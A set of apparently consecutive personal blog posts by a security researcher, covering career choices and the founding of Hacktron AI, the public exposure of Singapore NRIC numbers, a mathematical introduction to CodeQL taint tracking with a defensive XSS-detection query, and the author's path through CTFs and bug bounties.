If I were to die tomorrow, choosing a "safer" path would mean that I would have lived a life that was less impactful, but it would have been impactful nonetheless since I would have been able to provide for people I care about and spend much more time with them. The risk-seeking path, on the other hand, would have had much more potential for impact, but the losses from failure (or dying tomorrow) would have been much more pronounced.

But if we think about this from a rational perspective, the expected value of the risk-seeking path is still higher. It would be really sad if I were to die tomorrow, but that's likely not going to happen. But if there's a chance that I could do something that changes the world profoundly, then pure statistics would tell us that it's worth taking that risk.

The point?

I keep circling back to one question:

How can a single life compound beyond itself?

The answer I keep landing on is work that continues to widen its radius even when I am no longer around to steer it. Start-ups are my chosen vehicle, but the deeper principle is leverage: building systems, tools, or ideas that unlock the efforts of thousands of others.

There have been some small examples of this in my life so far. One example: I started a CTF team in Singapore that became the top team in the country for some time and qualified for a bunch of international competitions, showing to many that Singaporeans can be competitive at the highest levels of competitive hacking globally. I've left the team and am no longer active in CTFs, but the team is still active and the secondary effects that we created are still being felt today.

Because leverage rewards patience, my best hedge against the chance of “dying tomorrow” is to live today as though I might, while still investing as though I won’t. Concretely, that means:

1. Designing for continuity — doing things with the expectation that I will not be around to see them through.
2. Choosing problems with second-order effects — solving security will create a safer world that outlives me. If I ever get the opportunity though, I want to work on climate change. That's the single biggest problem of my generation, but right now I don't have the skills or power to tackle it.
3. Measuring impact the way investors track compound interest — returns are tiny at first, but they grow exponentially over time. If we do the most locally optimal thing at every step, we will eventually get pretty far.

If the experiment fails, at least I will have spent my finite hours pushing on the biggest fulcrum I was capable of finding, and sharing that journey with the people who matter most. And if it works, the value created will dwarf anything I could have done by playing safe. Either way, the only unacceptable outcome is to leave the lever untouched.

So the next time someone asks what would happen if I died tomorrow, I hope the honest answer will be: “Less than you’d think, because the work is built to outlive me.”

In a few weeks, I'll be leaving Cambridge and working on Hacktron AI full-time.

I am finishing up my second-year exams in June, after which I'll be taking time away from my studies. While I've wanted to intermit for quite some time for personal reasons, this will also allow me to focus on Hacktron AI, which I've co-founded with Mohan and Harsh. We're the first company to be backed by Project Europe, an ambitious initiative by some of the best European founders and VCs to support the next generation of European talent in building world-class companies.

This is a dream come true for me in many ways.

Taking the leap of faith

Cambridge has so far been an incredibly transformative experience, and one thing it has taught me is relentless ambition. When I first arrived, my goal was simply to prove myself and do well in exams. When it came to my second year, I started feeling incredibly pressured to figure out what I wanted to do with my life post-graduation. As a natural result of being surrounded by some of the most ambitious people in the world, in the past year alone, I've found myself considering all 3 stereotypical paths for a CS student:

1. FAANG — I got an internship offer from Amazon.
2. Quant — I turned it down for an internship at Optiver.
3. Startup — I'm ultimately turning down the internship to go all in on Hacktron AI.

I think I've always been a builder at heart. And the beauty of that is that if you work hard enough, you can will ideas into existence. I just never knew that you could just do things and that you didn't need to wait for "the right moment". The right moment isn't a thing, and with the rate at which the world is changing today, there is only opportunity cost to waiting. Embracing this mindset has opened up new avenues for me, and I have some people to thank for that.

• Max, Dom and (another) Max from Entrepreneur First for being some of the first people to challenge me to think critically about what I wanted to do with my life.
• Ved, Swarnim, and Oli for carrying the Cambridge builder scene with CUAI.
• Fitzelerate and Queens' Entrepreneurship Society for blessing me with the thrill of building and the confidence to pitch my first real project, EurekaPad, which I started with Adelyn, Kai Xuan, and Sebastian. Ultimately I felt the vision was a bit too small, and it would be nicer as a bootstrapped side project rather than a venture-scale startup.
• Josh for bringing cool people together with Cambridge University Entrepreneurs.
• Euan for this well-written article about figuring out a meaningful career path.
• And of course, Kitty, Kieran and Harry for being the absolute legends that they are and making Project Europe the movement that it is.

I knew that once I graduated from university, settled into a job, and started having actual responsibilities, there would probably never be a chance as good as now to drop everything and go all in on something I believe in.

Taking the leap of faith hasn't been easy, though. Up to this point, I think my life has been optimized around moving up the social ladder and building a better life for myself and my family. For people like me, who have been raised in a culture where success is still largely defined by the prestige of your university and the number of zeros in your bank account, I think being an entrepreneur is one of those things most people only fantasize about.

It's for that reason that I'm immensely grateful that my Asian parents have supported me every step of the way. I think on some level, they've always understood my desire for purpose.

What we're building

Thanks to AI, the world is writing more code than ever. The capabilities of threat actors to scale attacks will also increase exponentially, at a time when the number of vulnerabilities in the world is also exploding. We are building an equal and opposite force that democratizes security expertise for companies that don't have the resources or time to think deeply about security.

Hacktron is an autonomous security researcher that lives in every part of the software development lifecycle. It finds, triages, and fixes vulnerabilities in codebases, at a fraction of the cost of a penetration test while delivering equivalent results.

So far, Hacktron has:

• Performed an audit for Gumroad where it autonomously identified a critical SQL injection vulnerability and several other high-severity vulnerabilities, and fixed them via pull requests.
• Identified multiple critical vulnerabilities in open-source projects (CVEs pending).
• Received its first bounty from Bugcrowd.

And we're just getting started. Read more about our mission and approach on our blog.

To set the context: my National Registration Identity Card (NRIC) number — what most will consider the equivalent of a Social Security Number in the United States, and the National Insurance Number in the United Kingdom — was on a public government website, publicly accessible free of charge to anyone who knew where to look. This was not a data breach, but a feature that was added to the Accounting and Corporate Regulatory Authority (ACRA) portal, which is used by businesses to look up information about other businesses and individuals.

The feature was released on the 9th of December, and on the 13th of December, Mothership reported on it. You could search for the name of any person, and if they were associated with a business, their NRIC number would be displayed free of charge, and a "full profile" — with additional information, like a citizen's residential address — is for sale for S$33.

My information was probably on there because I registered a business in Singapore a while ago which I no longer actively operate. According to the latest data from ACRA, as of the end of 2023, there were 588,764 registered businesses in Singapore, with a significant portion being owned by Singaporeans. This means that hundreds of thousands of individuals had their NRIC numbers exposed, just like me.

This feature has since been disabled, but the damage has probably already been done. This was public for four days, and it is not unreasonable to assume that someone could have scraped much of the data in that time. While this is disturbing on its own, what I'm more concerned about is the subsequent response from the government, and the discussion around the sensitivity of NRIC numbers. I think this is relevant to many of my readers, even if you are not from Singapore, because it involves a slightly more nuanced discussion about the differences between security and privacy.

Secret or not?

Following the disabling of the feature, the Ministry of Digital Development and Information (MDDI) responded to queries from the media.

MDDI said in its statement that NRIC numbers are meant to be used to identify individuals and "should be used as such".

"As a unique identifier, the NRIC number is assumed to be known, just as our real names are known," said the ministry.

"There should therefore not be any sensitivity in having one’s full NRIC number made public, in the same way that we routinely share and reveal our full names to others."

It added that it has been a practice for some time to use masked NRIC numbers. But there is no need to mask the number, nor is there much value in doing so, said MDDI.

"Using some basic algorithms, one can make a good guess at the full NRIC number from the masked number, especially if one also knows the year of birth of the person."

This is why public agencies are phasing out the use of masked NRIC numbers, so as to avoid giving a "false sense of security", said MDDI.

This is an interesting perspective, which came as a shock to many. For years, the Personal Data Protection Act (PDPA) has made it illegal for organizations to collect, use, or disclose NRIC numbers without a valid reason, with a financial penalty of up to S$1 million (although government agencies are exempt) — this has led many to treat NRIC numbers as sensitive information that should be kept secret.

This means that many organizations that do collect NRIC numbers often use them as part of identity verification. My banking app, for example, asks for my NRIC and a 6-digit PIN to log in. My insurance company sends me policy documents in a password-protected PDF, with part of the password being my NRIC number. Given the current state of affairs, I'll be very concerned if my NRIC number is leaked.

But I'm not the person you should be worried about here — it's the people who are likely to believe the scammer on the other end of the phone who claims to be from the government and backs that up by reciting their NRIC number. Or worse, people who set their banking PIN to contain their birth year: this sort of feature makes it much easier to spray-and-pray NRIC and PIN combinations to gain access to someone's bank account, since the birth year is the first two digits of the NRIC number.

That said, it is true that full NRIC numbers are easily guessable given the masked number and the year of birth. The algorithm for calculating the checksum (the last letter of the NRIC number) is publicly available, and the structure of the NRIC number is well-known. But I imagine that for many, the contention is not about whether the NRIC is masked or not, but about whether it should be public at all. For instance, one might feel slightly safer disclosing only the street they live on, rather than their full address, but that doesn't mean they should be comfortable with their street address being publicly searchable by anyone on the internet.

The ministry said it recognises that some Singaporeans have "long treated" the NRIC number as private and confidential information, and will need time to adjust to this "new way of thinking".

In 2025, MDDI and the Personal Data Protection Commission (PDPC) will be carrying out public education about the purpose of the NRIC number and "how it should be used freely as a personal identifier".

Perhaps the timing just wasn't right, and there is a perfectly reasonable world where the NRIC number is public and everyone is fine with it. But this probably doesn't have to be either/or. Most web services use email addresses as unique account identifiers, and one probably won't consider their email address to be top-secret information. Yet, it'll likely be a bad idea to make the email addresses of all registered users public. So if the NRIC number is to be used as a unique identifier, maybe it should be treated with at least the same level of care.

Scalability

When we think about threat models, it's often tempting to think about the worst-case scenario. But the reality is that most people are not going to be targeted by a sophisticated attacker who is willing to invest significant time and resources — and those who are probably either have the means to protect themselves or have bigger problems to worry about. The real danger is in the low-hanging fruit that can be exploited at scale.

For instance, think about the chip-and-pin terminal relay attack. It's a conceptually obvious decades-old attack that involves intercepting the communication between a chip card and a terminal, and relaying it to another terminal to make a transaction for a higher amount. But it's not used in practice because it's not scalable: you need to be physically close to the victim, and you need to have a way to relay the communication in real-time. So while it's a cool attack, no one's bothered fixing it because it's not a real threat.

On the other hand, attacks like the no-PIN attack which only require a stolen card to be used were a much bigger problem, so the industry had to change the protocol entirely.

The reason it'll be a bad idea to make the email addresses of all registered users public is because it enables a stupidly simple attack at scale: you can now send phishing emails to everyone who has ever signed up for your service, and you'll probably get a few people to click on the link. You can also spray passwords from a data breach against all the email addresses you have, and you'll probably get a few hits. So while any one individual's email address is probably not that sensitive, making all email addresses easily scrapable would be really bad (and if you could dump the email addresses of all users of a popular service, you could probably get a handsome bug bounty or if you're less ethical, make a lot of money selling that data).

At the same time, for the individual, letting one person know your email address is probably not a big deal — you can just block them, right? But if you let everyone know your email address, that's probably called an invasion of privacy. The scale at which the information is exposed matters.

In fact, there is probably a lot of "unique identifier" information that can be considered "not sensitive" on its own, but you'll probably not be comfortable with being made public. Some simple examples:

• Your phone number uniquely identifies you among all people who have a phone number, but you probably don't want any random person — maybe a creep you met at a bar that one time — to be able to look up your phone number and call you.
• Your home address is unique to the people who live with you — likely your family — but you probably don't want people or unsolicited mail to show up at your door uninvited.

While it's true that these examples facilitate some kind of other interaction — a phone number is used to call you, and a home address is used to send you mail — and the NRIC doesn't have more direct utility, the point is that the NRIC number has become part of what most people consider to be their personal, private information. In fact, even the NRIC number itself already contains one's birth year. And when enough of these pieces of information are put together, they can be used to paint a very detailed picture of a person's life — the holy grail of scammers, stalkers, and data brokers.

It's fine for one website to store metadata about me, keyed with my NRIC number. But if that website, and a bunch of other websites, make my NRIC and its associated metadata public, then I'd expect to be able to find a good profile of myself available for sale on the internet or the dark web. And that's stretching my comfort zone.

Privacy vs. security

"Likewise, the NRIC number should not be used as passwords, just as we should not be using our names as passwords. If the NRIC number is used for authentication, it would have to be kept a secret, which would defeat its main purpose as a unique identifier," MDDI added.

Subsequently, the PDPC also made a similar point about authentication:

The commission noted that it had previously taken action against organisations which used NRIC numbers for authentication and "breached their data protection obligations".

It said: "A person’s name and NRIC number identifies who the person is. Authentication is about proving you are who you claim to be. This requires proof of identity, for example, through a password, a security token or biometric data.

"As the NRIC number is not a secret, it should not be used by an organisation for authentication purposes."

I believe that for many technical folk, this wouldn't be a controversial statement. Indeed, using NRIC numbers as "what you know" in authentication is inherently flawed. If the intent is to make NRIC numbers public, there is much work to be done to ensure that systems we use are secure. Imagine ordering a plate of chicken rice and getting a queue number. In the ideal case, you should not be able to just walk up to the counter and say "I'm number 42". You should have to present your queue number or receipt. But most places don't do this, and the same is true for many systems that depend on NRIC numbers for authentication.

But this seems to be conflating the issues of privacy and security. While there is much to be said about the current flawed implementations of NRIC-based authentication, the fact that we want to use NRIC numbers as usernames or account identifiers doesn't change many's expectations of privacy.

Going by this reasoning, should identifiers like passport numbers, biometric data stored on my phone, and even credit card numbers be public too? Afterall, all of these require at least one second factor of authentication to be useful (a convincing face, access to my physical phone, CVV number).

I think the distinction between privacy and security is important. Privacy is about controlling who has access to your information, while security is about ensuring that only the right people have access to your information. The two are related, but they are not the same. One would generally consider Google to be secure — I don't lose sleep over the idea that someone might hack into my Google account — but we all know that Google sells a lot of our data to advertisers. So while I have strong security controls over my Google account, I have very little privacy control over it.

The main contention then is about whether we should consider NRIC numbers to be personally identifiable information (PII) that we should expect reasonable privacy over. For me at least, the answer is yes. At the very least, the correlation between my NRIC number and other information about me, in the hands of unsavoury characters, would create inherent risk that I would not be comfortable with.

This is echoed in the PDPC's guidelines on NRIC numbers:

As the NRIC number is a permanent and irreplaceable identifier which can potentially be used to unlock large amounts of information relating to the individual, the collection, use and disclosure of an individual’s NRIC number is of special concern. Indiscriminate or negligent handling of NRIC numbers increases the risk of unintended disclosure with the result that NRIC numbers may be obtained and used for illegal activities such asidentity theft and fraud.

It does not matter how secure our systems are if we are not careful about what information we expose to the world. Even if all systems on our small corner of the world are perfectly secure, having lived and worked overseas, my NRIC has been used by foreign governments and organizations as a form of identification and for tax purposes as an independent contractor. Can we be certain that all systems in all countries make the same assumptions about the sensitivity (or lack thereof) of the NRIC number, when in most other countries, similar identifiers are considered private? One would have to expect systems to know that a Singaporean NRIC number is far less sensitive than a US Social Security Number, or UK National Insurance Number, and implement different security controls based on that. But that's a big ask.

More importantly, it is impossible to patch human nature. Ever notice how banks always have a disclaimer that they will never call you to ask for your PIN? Yet, people still fall for scams! No matter how much you try to educate people, there will always be someone who doesn't get the memo. A big part of modern security engineering is designing systems that are secure by default — making it hard for people to make mistakes — because we've learnt as an industry that education can only go so far.

Where I stand

My folks are getting old. Of all things privacy-related, I lose the most sleep over the idea that they might fall for impersonation scams that have been on the rise in Singapore.

I know women in my life who will be deeply uncomfortable with what a highly motivated individual might do when given access to just a little bit more information about them.

Just because I have a secure lock on my door doesn't mean I want to risk someone bringing a lockpick to my doorstep. People used to have to pay good money for this information on the dark web — surely Economics 101 tells us that there is value in this information. Now it's intended to be free for all. Us cybersecurity folk tend to be a paranoid bunch, but I think the idea that we shouldn't let people know more about us than they need to should not be controversial.

Let me know what you think. Should the NRIC number be public?

Recently, I've worked extensively with CodeQL — a powerful static analysis tool developed by GitHub — to roll out code scanning as part of CI/CD pipelines. At the core of this is the QL language, which is used to write queries that reason about code. Compared to its competitors, CodeQL excels at taint tracking and data flow analysis, which is a fancy way of saying that it's really good at highlighting how potentially malicious or insecure data can flow through your code and end up in a dangerous place that introduces a security vulnerability.

Now, do you need to understand the mathematics behind CodeQL to use it effectively? Not necessarily. But at its core, QL is a declarative logic programming language, and thus it's built on a foundation of set theory and predicate logic. I like to understand the tools I use, so I wanted to write a little about how CodeQL and data flow analysis works under the hood. This is by no means a comprehensive guide, but I hope it serves as a useful introduction for those who are curious!

An introduction to CodeQL

QL is a declarative language. This means that queries are written in a way that describes the desired result, rather than the steps to achieve it. This is in contrast to imperative languages like Python or Java, where you write code that describes the steps to achieve the desired result.

Here's how a typical CodeQL analysis workflow might look like:

1. The source code is compiled into a database. This database contains the relational representation of the codebase, which includes information about the structure of the code, the control flow, and the data flow.
2. The CodeQL engine runs QL queries against the database, similar to how one might run SQL queries against a relational database, to find patterns in the code that match the query.
3. The results are exported into the SARIF format, which can be consumed by CI tools or custom integrations.

In this sense, CodeQL is a lot like SQL. One might even recognise the similarities in the basic syntax:

import javascript
 
from Function f
where not exists(CallExpr c | c.getCallee() = f)
select f, "This function is never called."

This query, for example, finds all functions that are never called in a JavaScript codebase. Notice the exists existential quantifier, which checks if there is at least one CallExpr that calls the function f.

Notice also that QL is object-oriented. CallExpr::getCallee() returns an Expr, which could be a FunctionExpr (which is a Function). However, keep in mind that class objects in the traditional sense (allocating memory to hold the state of an instance of a class) don't exist in QL. Here, classes are more like abstract data types that describe sets of existing values.

Predicates and Binding

Binding refers to the process of associating variables in a query with sets of values from the CodeQL database. A common mistake is to think of variables in the imperative sense, where they can be assigned any value at any time. CodeQL works on relations between values, so variables are bound to finite sets of values that already exist.

Let's walk through a simple example.

import javascript
 
predicate sumsTo42(Expr x, Expr y) {
  x instanceof ConstantExpr and y instanceof ConstantExpr and
  x.getIntValue() + y.getIntValue() = 42
}
 
from Expr x, Expr y
where sumsTo42(x, y)
select x, y

First, consider the domain of all elements in the CodeQL database, $D=\{d_1, d_2, \cdots, d_n\}$ where $n$ is finite.

We have introduced a predicate sumsTo42 that takes two Expr objects and checks if their integer values sum to 42.

Let:

• $E \subseteq D = \{e \in D \mid e \text{ instanceof Expr}\}$.
• $C \subseteq D = \{c \in D \mid c \text{ instanceof ConstantExpr}\}$.

Then, the predicate sumsTo42 evaluates to a set of two-tuples:

Now, the from clause binds the variables x and y to the set of all Expr objects in the database, i.e. $E$. The where clause then filters this set to only include those tuples that satisfy the predicate $P$. The result is

Notice that the predicate $P$ is a finite set, because its arguments are of a finite type! (Expr refers to the finite set of all expressions in the CodeQL database.) Because the query results rely on checking for membership in predicate sets, all predicates must evaluate to a finite set — otherwise it's impossible to evaluate the query in finite time.

For example, this query won't work:

import javascript
 
predicate sumsTo42(int x, int y) { x + y = 42 }
 
from Expr x, Expr y
where
  x instanceof ConstantExpr and
  y instanceof ConstantExpr and
  sumsTo42(x.getIntValue(), y.getIntValue())
select x, y

because the predicate arguments aren't bound! Clearly, $x$ is bound iff $y$ is bound, and vice versa. Since there are no other operators in the predicate that could bind either variable, the predicate is not well-defined (attempting to evaluate an infinite subset of $\mathbb{Z} \times \mathbb{Z}$) and the compiler will helpfully throw an error.

Data flow analysis and taint tracking

The real power of CodeQL lies in its ability to track data flow through a codebase. This is particularly useful for security analysis, where one might want to find out how user input flows through the system and ends up in a dangerous place.

To do this, CodeQL constructs a data flow graph that represents how data flows through the code (e.g. passed between variables, functions, and expressions). Note that this is not the same as an abstract syntax tree, which represents the syntactic structure of the code. Here's an example:

function foo(p) {
  let x = 0
  if (p) {
    x = p.f
  }
  return x
}

Notice how the assignments are represented as edges, and the conditionals are not present in the graph. We don't care that x is 0 if p is falsy — we just need to know that x has possible values of 0 and p.f.

Taint tracking takes it a step further by marking certain data as "tainted", and propagating this through derived data. For example, if y = foo(p), and p is tainted, then y is also tainted, because it derives from p. This makes sense when analysing bugs and vulnerabilities, because if p is untrusted user input, then y must also be treated as untrusted.

This is a fundamentally recursive task: given some propagation rules that determine whether the result of some operation, given tainted inputs, is also tainted, explore the program's control flow until no more tainted data can be found.

In other words, find $\overline{X}=F(\overline{X})$ where $\overline{X}$ is a vector of "In's" and "Out's" representing the set of variables tainted before and after each statement, and $F$ is a function that applies the propagation rules. We want the least fixed point, i.e. the smallest $\overline{X}$ such that $\overline{X}=F(\overline{X})$.

A partial order is a relation that is reflexive, transitive, and antisymmetric. We can define a partial order among vectors of sets:

It's easy to see that this is a partial order: it is reflexive (since $X_i \subseteq X_i$), transitive (since $X_i \subseteq X'_i \land X'_i \subseteq X''_i \implies X_i \subseteq X''_i$), and antisymmetric (since $X_i \subseteq X'_i \land X'_i \subseteq X_i \implies X_i = X'_i$).

A function $F$ is monotone over the partial order $\sqsubseteq$ if, for all $\overline{X}$ and $\overline{X'}$,

What does this say? It means that "larger" or equal inputs lead to "larger" or equal outputs. Here, $F$ is monotone because applying the propagation rules to a "larger" or equal set of "current" tainted variables yields a "larger" or equal set of new tainted variables . To see this, consider that once a variable is marked as tainted, it remains tainted, while an untainted variable can become tainted with the discovery of new tainted variables.

This ensures that repeating $F$ will progressively increase the set of reachable expressions towards convergence at the least fixed point, so this provides us with a way to compute the least fixed point of $F$.

Formally, this is Kleene's fixed-point theorem. The least fixed point of the monotonic function $F$ is the limit of the ascending chain obtained by applying $F$ repeatedly starting from the least element $\bot$ (here, the empty set):

where $F^i$ is the $i$-fold composition of $F$ with itself, and $\bigvee$ denotes the least upper bound.

To see this, consider the sequence $\overline{X}_0 = \bot$, $\overline{X}_{i+1} = F(\overline{X}_i)$.

Since $F$ is monotone, we have $\overline{X}_0 \sqsubseteq \overline{X}_1 \sqsubseteq \cdots \sqsubseteq \overline{X}_n$. Consider the last element of the chain, $\overline{X}_n$. $\overline{X}_n = F(\overline{X}_n)$, otherwise it is not the last element. Therefore it is a fixed point.

Now consider an arbitrary fixed point $\overline{Y}$ of $F$. In the base case, $\overline{X}_0 = \bot \sqsubseteq \overline{Y}$. Also,

so by induction, $\overline{X}_i \sqsubseteq \overline{Y}$ for all $0 \leq i \leq n$. In particular, $\overline{X}_n \sqsubseteq \overline{Y}$, so $\overline{X}_n$ is at least as "small" as any other fixed point, and thus the least fixed point.

Writing a taint tracking query

Let's walk through a CodeQL query that looks for basic DOM-based XSS vulnerabilities in a JavaScript codebase. To start, we need to define a configuration for taint tracking:

class UnsafeDOMManipulationConfiguration extends TaintTracking::Configuration {
  UnsafeDOMManipulationConfiguration() { this = "UnsafeDOMManipulationConfiguration" }
}

Now, we need to define the sources. These are the places where untrusted data first enters the program. In this case, we're looking for RemoteFlowSource (data from e.g. a request parameter), ClientRequest::Range (data from a HTTP response), and SomeOtherSource (a custom source that we've defined elsewhere).

override predicate isSource(DataFlow::Node source) {
  source instanceof RemoteFlowSource or
  source instanceof ClientRequest::Range or
  source instanceof SomeOtherSource
}

These are used in the first iteration, $F(\bot)$, to mark all variables directly tainted by these sources. In the following iterations, variables that are derived from these sources are also marked as tainted.

Next, we need to define the sinks. These are the places where tainted data can cause harm. Eventually, we want to find all paths from any source to any sink, and those will be the results of our query.

// Sink functions from https://web.dev/articles/trusted-types
override predicate isSink(DataFlow::Node sink) {
  // Direct assignment to innerHTML or outerHTML
  exists(DataFlow::PropWrite pw |
    pw.getPropertyName() in ["innerHTML", "outerHTML"] and
    sink = pw.getRhs()
  )
  or
  // Element.insertAdjacentHTML()
  exists(DataFlow::MethodCallNode call |
    call.getMethodName() = "insertAdjacentHTML" and
    sink = call.getArgument(1)
  )
  or
  // Direct assignment to iframe.srcdoc
  exists(DataFlow::PropWrite pw |
    pw.getPropertyName() = "srcdoc" and
    sink = pw.getRhs()
  )
  or
  // document.write() and document.writeln()
  exists(DataFlow::MethodCallNode call |
    call.getMethodName() in ["write", "writeln"] and
    call.getReceiver() = DOM::documentRef() and
    sink = call.getArgument(0)
  )
  or
  // DOMParser.parseFromString()
  exists(DataFlow::MethodCallNode call |
    call.getMethodName() = "parseFromString" and
    call.getReceiver().getALocalSource() instanceof DataFlow::NewNode and
    call.getReceiver().getALocalSource().(DataFlow::NewNode).getCalleeName() = "DOMParser" and
    sink = call.getArgument(0)
  )
  or
  sink instanceof DomBasedXss::TooltipSink
}

This defines which nodes in the data flow graph are considered sinks. In this case, we are identifying methods that can be used to inject untrusted data into the DOM, such as innerHTML, outerHTML, insertAdjacentHTML, srcdoc, document.write, document.writeln, and DOMParser.parseFromString. When untrusted data reaches these sinks, it can be used to execute arbitrary JavaScript code in the context of the page.

After the least fixed point is computed (and we have the completed set of all tainted elements in the program), we can then evaluate the sinks against this set of tainted elements to determine of any tainted data can reach a sink. If so, we have a potential vulnerability.

from DataFlow::PathNode source, DataFlow::PathNode sink, UnsafeDOMManipulationConfiguration config
where config.hasFlowPath(source, sink)
select sink.getNode(), "Potentially unsafe DOM manipulation with $@.", source.getNode(),
  "untrusted data"

Expanding the propagation function

Sometimes, the default taint steps are insufficient to capture the desired propagation. One might extend this by overriding isAdditionalTaintStep:

override predicate isAdditionalTaintStep(DataFlow::Node pred, DataFlow::Node succ) {
  exists(DataFlow::ArrayCreationNode array |
    pred = array.getAnElement() and
    succ = array
  )
  or
  exists(DataFlow::MethodCallNode find |
    find.getMethodName().regexpMatch("find|filter|some|every|map") and
    pred = find.getReceiver() and
    succ = find.getCallback(0).getParameter(0)
  )
}

This propagates taint through array elements and array methods like find, filter, some, every, and map.

One might also want to stop propagation of taint at a sanitization step. When a node is a sanitizer, its output is considered untainted, even if the input is tainted. This can be done by overriding isSanitizer:

override predicate isSanitizer(DataFlow::Node node) {
  node = DataFlow::moduleImport("dompurify").getAMemberCall("sanitize")
}

Here, we are considering the sanitize method from the DOMPurify library as a sanitizer.

These modify our propagation function $F$ to include or exclude desired nodes when propagating taint.

Aside: transitive closures

CodeQL has built-in support for transitive closures, which is pretty cool.

The transitive closure of a relation $R$ is the smallest relation $R^+$ that contains $R$ and is transitive. Formally, $R^+$ is the intersection of all transitive relations that contain $R$. This can be defined inductively:

The reflexive transitive closure is similar, but includes the identity relation:

In CodeQL, we can use the + operator to denote the transitive closure of a predicate, and the * operator to denote the reflexive transitive closure. For example:

predicate isReachableFrom(BasicBlock start, BasicBlock end) {
  end = start.getASuccessor*()
}

This predicate evaluates to the set of all (start, end) pairs such that end is reachable from start by following zero or more edges in the control flow graph.

Conclusion

This is my humble attempt to pen down my mental model of how CodeQL works under the hood, which helps me to visualize how my queries are executed and how the results are derived. It's a really interesting and powerful tool that, while lacking the user-friendliness of some other static analysis tools, makes up for it with its flexibility and expressiveness.

How did we get here?

To give you a bit more context about myself, I discovered infosec 3 years ago when I was trying to get out of being sent to the infantry. As a Singaporean male, I had to serve in the army. It just so happened that there was a new scheme that allowed people to serve in "cybersecurity" units, and the prospect of spending my days in an air-conditioned office instead of in the middle of a jungle was very appealing to me.

So without any knowledge of security at all, I borrowed a textbook from my teacher at the time and did what I was good at as an A-level student: memorizing as much as I could a week before the exam. By a stroke of luck, I got in, and the rest was history.

My 18 year old self, who at the time was pretty sure he wanted to study Physics in university, probably wouldn't have believed that his next 3 years would see him in Las Vegas, Lausanne, Stockholm, and other places around the world competing in CTF competitions, meeting some of the most talented people in the industry, and spending countless hours in front of a computer screen instead of solving differential equations.

I went through some structured training in the army with an emphasis on blue teaming. Then I tried my hand at CTFs for the first time — it was brutal. I could solve maybe 1 or 2 basic challenges, but the rest of the time I just sat there being confused. But realising just how much I didn't know was something that hooked me in, and I played CTFs almost every weekend for the next few months. We even formed our own team, Social Engineering Experts, which in 2022 and 2023 was the top CTF team in Singapore.

Eventually I found my niche in web security. CTF trains you really well for source code review and exploit development, so I started poking around open source projects and eventually got credited for 15 CVEs, most of which were from my deep dive into HTTP request smuggling.

I also started doing bug bounties because among other things, it was fun to hack my own government. I was invited to three private time-bound programs organised by the Singapore government, and was ranked 1st (by "signal", or impact) in each one among global participants.

It was really fun. I ended up playing CTFs with Blue Water, with whom I won 2nd place at the DEF CON CTF in 2023. At some point, a teammate reached out to me and asked if I wanted to join Electrovolt, a security consultancy that was partnering with Cure53. I started doing some work with them on a freelance basis, whenever I had the time. The work has been super cool, working with some really talented people for really big clients. This was also around the time I started my internship with TikTok, where I was doing security research at scale.

The turning point

After some time trying to break everything I could get my hands on, I started to feel like I was just breaking things for the sake of breaking them. I was getting tired of the constant churn of finding bugs, writing reports, and moving on to the next target. I was tired of the constant pressure to be the best, to be the first, to be the most impactful.

But the biggest question, however, simply boiled down to: "why don't they just fix it? It's not that hard." I couldn't understand why teams would ignore important vulnerabilities, or when something is fixed only to be broken again in the next release. I couldn't understand why we were still finding the same classes of vulnerabilities that have been known for years. It's like playing whack-a-mole, but the moles are the size of elephants and there's only one hammer.

University

But no time to dwell on that too much, because I was starting university. I took this as an opportunity to take a step back from living and breathing security to enjoy life and explore other interests.

I didn't expect my first year at Cambridge to be this busy. To be honest, I spent most of the year thinking I was going to fail. Everyone else seemed to be doing so much better, and I was returning to a really difficult technical degree after years of not doing any math or theoretical computer science. Cambridge certainly has a way of making you feel like you're not good enough, because I ended up managing a first-class grade in the end.

I was still doing some CTFs (I started playing with the Cambridge team, cheriPI) and freelance work on the side, but there was just a lot more to try. I started doing hackathons and for the first time, I started thinking about what products people actually need.

A hackathon felt like a microcosm of a software shop. You have a team, a deadline, and a goal. No one cares about security when you're trying to get a product out the door.

How do we do good security, then?

I'm spending this summer at Open Government Products, where I now have much more time to think about how to solve security problems at scale, and in a way that lasts. I started to appreciate why security can be so hard, and why it's not just a matter of "just fixing it".

The truth is, security is hard because it's not just about fixing bugs. It's about fixing the process that led to the bug in the first place. The organisations that are having repeated security incidents are the ones that have a broken process, often because they grew too fast without thinking about security, and now they're playing catch-up. But it's hard to catch up when the processes you've put in place and the tools developers have gotten comfortable with need to be fundamentally changed.

Security is not prioritised enough because the cost of poor security is not immediately visible. It's hard to quantify the cost of a security incident that didn't happen, and it's hard to justify the cost of investing in security when you're not seeing any immediate benefits. There are no returns when investing in security, only losses when you don't.

And if the probability of an incident is low in the first place, then the expected cost of standing around doing nothing, waiting for an incident to happen, is lower than the cost of investing in security.

And when the cost of doing nothing is lower than the cost of investing in security, the rational decision is to do nothing.

So to do good security, you probably need to reduce the cost of security. This means making it easy to do the right thing: in Ross Anderson's Software and Security Engineering course, there was a lot of emphasis on making the secure thing the easiest, or the default, thing to do without compromising on usability.

That means building tools that developers actually want to use, or something so low-friction that they don't even realise they're using it. It means building security into the process from the start, and not as an afterthought.

I can never truly quit security

I don't think I can ever truly quit security. I still love doing it on the side with fun research projects and freelance pentesting work outside of my day job or school. Besides, how do you "quit" something so fundamentally important to everything else you might do in tech? But I'm ready to take a pause on popping shells all the time and start building things that last.

And there are so many things I take with me from my time in security. I've learnt how to think adversarially, which helps a lot in writing good software. I've learnt how to communicate complex ideas in a way that's easy to understand. I've picked up an attention to detail that I didn't have before. I've learnt how to learn.

I think this is probably a good balance. Doing security as both a hobby and a job is probably too much for me. I think the analogy "it's a marathon, not a sprint" is very apt here. Unfortunately I'm at that age where I need to be a bit more realistic about what I want in my career, and I need to know I will still enjoy what I'm doing 10 years down the line.

I'm still not entirely sure what I do want to do, but I know I've found a passion for being as close to the product as possible. I'm at my best when I work on meaningful problems that serve a clear purpose in the world and where I can clearly see the impact of my work.

This has been a long and quite personal post, and I don't want to enforce any particular message on anyone. I just re-made my personal site and decided it made sense to write my first post on where I'm at right now. Wherever you are at, I hope you're doing well, and I hope you're doing what you love!

Oh, and please remember to touch grass.